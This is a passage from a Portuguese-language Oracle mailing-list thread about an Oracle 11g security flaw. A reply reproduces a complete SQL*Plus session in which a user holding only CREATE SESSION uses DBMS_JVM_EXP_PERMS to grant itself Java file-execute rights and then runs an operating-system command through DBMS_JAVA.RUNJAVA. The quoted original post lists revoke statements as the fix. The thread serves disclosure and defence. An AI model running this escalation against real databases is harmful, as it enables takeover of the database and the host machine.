11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
[oracle_br] Falha de segurança do 11g
Pessoal, achei uma materia no blog do Alessandro Guimarães, sobre Falha de segurança do 11g. Não sabia disso e achei interessante postar aqui. tai o link http://aguimaraes.wordpress.com/ David Litchfield, achou vulnerabilidades de segurança no Oracle 11g, embora os testes que eles fez tenham sido na versão 11gR2, a falha também acontece no Oracle 11gR1. O problema acontece devido a privilégios super generosos para as procedures java, permitindo que um usuario com apenas privilegio de create sesssion, possa se tornar um DBA, tendo assim total controle do banco. Alem disso, este mesmo usuario pode, com um simples select executar comandos do sistema operacional, como por exemplo gerar um arquivo.txt. Em casa fiz um teste e consegui t criar um usuario no sistema operacional e torna-lo membro do grupo administrator do windows. Terrivel não. ? A Oracle não tem patch nem se pronuciou quanto a falha. No entanto você pode fazer sua parte. Basta fazer o revoke do PUBLIC das seguintes packages: *revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public;* -- Att, José Longhi Laurindo Neto Bacharel em Ciência da Computação. DBA Oracle Jr. Tel: (91) 81970312 E-mail: neto.lon...@gmail.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/oracle_br/ * Para sair deste grupo, envie um e-mail para: oracle_br-unsubscr...@yahoogrupos.com.br * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html